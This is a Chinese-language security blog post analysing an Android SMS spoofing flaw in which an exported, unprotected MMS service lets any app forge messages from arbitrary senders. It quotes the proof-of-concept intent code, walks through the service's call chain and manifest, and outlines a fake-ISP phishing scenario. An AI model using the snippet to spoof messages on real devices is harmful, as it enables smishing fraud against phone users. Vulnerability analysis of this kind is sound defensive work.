近期Android爆出SMS smishing vuln, 首先来源于http://www.csc.ncsu.edu/faculty/jiang/smishing.html, 然后github上给出了poc,具体来说是任意一个app在没有write_sms权限下可以伪造任意发件人的任意短信。
影响平台可上至Android 1.6下至4.1。由于很多以android2.3为主的手机已经不能再升级,此漏洞的危害不可小视。一个攻击场景是malicious app首先向ISP发送一条申请业务的短信,然后伪造ISP发送一条用户需要确认的短信。当用户确认时就中招了。
两张截图:
首先感谢各位大神的贡献。在github上给出poc后,我根据代码进行了一些分析。前面构造pdu的代码非常重要,但不是本文分析的重点。此次分析的POC代码在于
Intent intent = new Intent(); intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService"); intent.setAction("android.provider.Telephony.SMS_RECEIVED"); intent.putExtra("pdus", new Object[] { pdu }); intent.putExtra("format", "3gpp"); context.startService(intent);
这里启动了com.android.mms.transaction.smsreceiverService,这个service的代码在这里. 当service启动时,调用链如下:
onStartCommand->mServiceHandler.sendMessage(msg);
消息进入ServiceHandler的消息队列中,在handleMessage中得到处理。由于Action是SMS_RECEIVED,所以进入handleSmsReceived函数:
public void handleMessage(Message msg) { int serviceId = msg.arg1; Intent intent = (Intent)msg.obj; if (intent != null) { String action = intent.getAction(); if (MESSAGE_SENT_ACTION.equals(intent.getAction())) { handleSmsSent(intent); } else if (SMS_RECEIVED_ACTION.equals(action)) { handleSmsReceived(intent); } else if (ACTION_BOOT_COMPLETED.equals(action)) { handleBootCompleted(); } else if (TelephonyIntents.ACTION_SERVICE_STATE_CHANGED.equals(action)) { handleServiceStateChanged(intent); } } // NOTE: We MUST not call stopSelf() directly, since we need to // make sure the wake lock acquired by AlertReceiver is released. SmsReceiver.finishStartingService(SmsReceiverService.this, serviceId); } } handleSmsReceived private void handleSmsReceived(Intent intent) { SmsMessage[] msgs = Intents.getMessagesFromIntent(intent); Uri messageUri = insertMessage(this, msgs); if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) { SmsMessage sms = msgs[0]; Log.v(TAG, "handleSmsReceived" + (sms.isReplace() ? "(replace)" : "") + " messageUri: " + messageUri + ", address: " + sms.getOriginatingAddress() + ", body: " + sms.getMessageBody()); } if (messageUri != null) { MessagingNotification.updateNewMessageIndicator(this, true); } }
在291段用户得到通知,即一般大家看到的toast和短信提示框,再来看insertMessage,
private Uri insertMessage(Context context, SmsMessage[] msgs) { // Build the helper classes to parse the messages. SmsMessage sms = msgs[0]; if (sms.getMessageClass() == SmsMessage.MessageClass.CLASS_0) { displayClassZeroMessage(context, sms); return null; } else if (sms.isReplace()) { return replaceMessage(context, msgs); } else { return storeMessage(context, msgs); } }
其中replaceMessage最后调用storeMessage, storeMessage负责将短信存入数据库。这样一个fake message就成功以假乱真。
那为什么会出现这样的问题?对/system/app/Mms.apk进行反编译,获得AndroidManifest.xml,在其中可以看到:
<application android:label="@string/app_label" android:icon="@drawable/ic_launcher_smsmms" android:name="MmsApp" android:taskAffinity="android.task.mms" android:allowTaskReparenting="true"> <service android:name=".transaction.TransactionService" android:exported="true" /> <service android:name=".transaction.SmsReceiverService" android:exported="true" /> <activity android:theme="@android:style/Theme.NoTitleBar" android:label="@string/app_label" android:name=".ui.MmsTabActivity" android:launchMode="singleTop" android:configChanges="keyboardHidden|orientation" android:windowSoftInputMode="stateAlwaysHidden|adjustPan">
SmsReceiverService被export出去后没有使用permission声明signature或signatureOrSystem或Dangerous,甚至也没有Normal声明。在代码中也没有显式调用checkPermission,这违反了android开发规范[1],造成了事实上的permission-redelegation漏洞。由于Mms属于系统程序,存在于所有android-platform中,后果更加严重。
以上是对android的最新短信漏洞做的分析。由于水平所限,如果有所疏误请不吝赐教。
English version can be seen here:
http://blog.flanker017.me/?p=235&lang=en-us